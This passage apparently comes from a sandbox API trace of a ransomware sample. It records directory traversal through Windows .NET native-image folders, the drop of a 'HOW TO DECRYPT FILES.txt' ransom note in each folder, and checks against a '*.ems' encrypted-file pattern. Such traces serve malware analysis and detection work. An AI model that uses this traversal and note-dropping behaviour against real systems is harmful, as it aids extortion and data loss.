(lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.linq\\f64e54c058a7f03b91081ec68422c2e6\\how to decrypt files.txt")) returned 0x20 [0124.604] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\", lpString2="System.Xml.Linq.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll.aux" [0124.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.604] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0124.604] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.604] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f64e54c058a7f03b91081ec68422c2e6", cAlternateFileName="F64E54~1")) returned 0 [0124.605] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.605] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x81666320, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x81666320, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="Temp", cAlternateFileName="")) returned 1 [0124.605] lstrcmpA (lpString1=".", lpString2="Temp") returned -1 [0124.605] lstrcmpA (lpString1="..", lpString2="Temp") returned -1 [0124.605] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.605] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="Temp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp" [0124.605] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x81666320, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x81666320, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.626] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.626] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x81666320, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x81666320, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.626] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.626] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.626] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe955f360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe955f360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b94-0", cAlternateFileName="")) returned 1 [0124.626] lstrcmpA (lpString1=".", lpString2="b94-0") returned -1 [0124.626] lstrcmpA (lpString1="..", lpString2="b94-0") returned -1 [0124.626] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\*.*") returned="*.*" [0124.626] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\", lpString2="b94-0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b94-0") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b94-0" [0124.627] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b94-0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe955f360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe955f360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.627] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe955f360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe955f360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.627] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.627] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe955f360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe955f360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0124.628] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.628] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe955f360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe955f360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b94-0", cAlternateFileName="")) returned 0 [0124.628] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.628] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="UIAutomatio4e153cb6#", cAlternateFileName="UIAUTO~4")) returned 1 [0124.628] lstrcmpA (lpString1=".", lpString2="UIAutomatio4e153cb6#") returned -1 [0124.628] lstrcmpA (lpString1="..", lpString2="UIAutomatio4e153cb6#") returned -1 [0124.628] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.628] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="UIAutomatio4e153cb6#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#" [0124.628] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x390062, dwReserved1=0x2d0034, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.647] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x2d0000, cFileName="..", cAlternateFileName="")) returned 1 [0124.647] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.647] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="86701376d7d601b26aab6a569b1bdd69", cAlternateFileName="867013~1")) returned 1 [0124.647] lstrcmpA (lpString1=".", lpString2="86701376d7d601b26aab6a569b1bdd69") returned -1 [0124.647] lstrcmpA (lpString1="..", lpString2="86701376d7d601b26aab6a569b1bdd69") returned -1 [0124.647] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\*.*") returned="*.*" [0124.647] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\", lpString2="86701376d7d601b26aab6a569b1bdd69" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69" [0124.648] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.656] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.656] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.656] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.656] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.657] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb872a5b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0124.657] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0124.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0124.657] lstrcmpiA (lpString1="", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0124.657] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\*.*") returned="*.*" [0124.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" [0124.657] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\") returned="" [0124.657] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt" [0124.657] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\how to decrypt files.txt")) returned 0xffffffff [0124.657] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.661] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.661] CloseHandle (hObject=0x90) returned 1 [0124.661] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\", lpString2="UIAutomationClientsideProviders.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll" [0124.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll", pszSpec="*.ems") returned 0 [0124.663] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 1 [0124.663] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClientsideProviders.ni.dll.aux") returned -1 [0124.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClientsideProviders.ni.dll.aux") returned -1 [0124.663] lstrcmpiA (lpString1="", lpString2="UIAutomationClientsideProviders.ni.dll.aux") returned -1 [0124.663] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll") returned="UIAutomationClientsideProviders.ni.dll" [0124.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" [0124.663] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\") returned="" [0124.663] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt" [0124.663] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\how to decrypt files.txt")) returned 0x20 [0124.663] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\", lpString2="UIAutomationClientsideProviders.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll.aux" [0124.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\UIAutomationClientsideProviders.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.664] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 0 [0124.664] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb8704450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb8704450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="86701376d7d601b26aab6a569b1bdd69", cAlternateFileName="867013~1")) returned 0 [0124.664] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.664] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationClient", cAlternateFileName="UIAUTO~3")) returned 1 [0124.664] lstrcmpA (lpString1=".", lpString2="UIAutomationClient") returned -1 [0124.664] lstrcmpA (lpString1="..", lpString2="UIAutomationClient") returned -1 [0124.664] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="UIAutomationClient" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient" [0124.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.672] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.672] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.673] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.673] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.673] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e4aec2199c025a5f8222ae9b7550c974", cAlternateFileName="E4AEC2~1")) returned 1 [0124.673] lstrcmpA (lpString1=".", lpString2="e4aec2199c025a5f8222ae9b7550c974") returned -1 [0124.673] lstrcmpA (lpString1="..", lpString2="e4aec2199c025a5f8222ae9b7550c974") returned -1 [0124.673] PathFindFileNameA 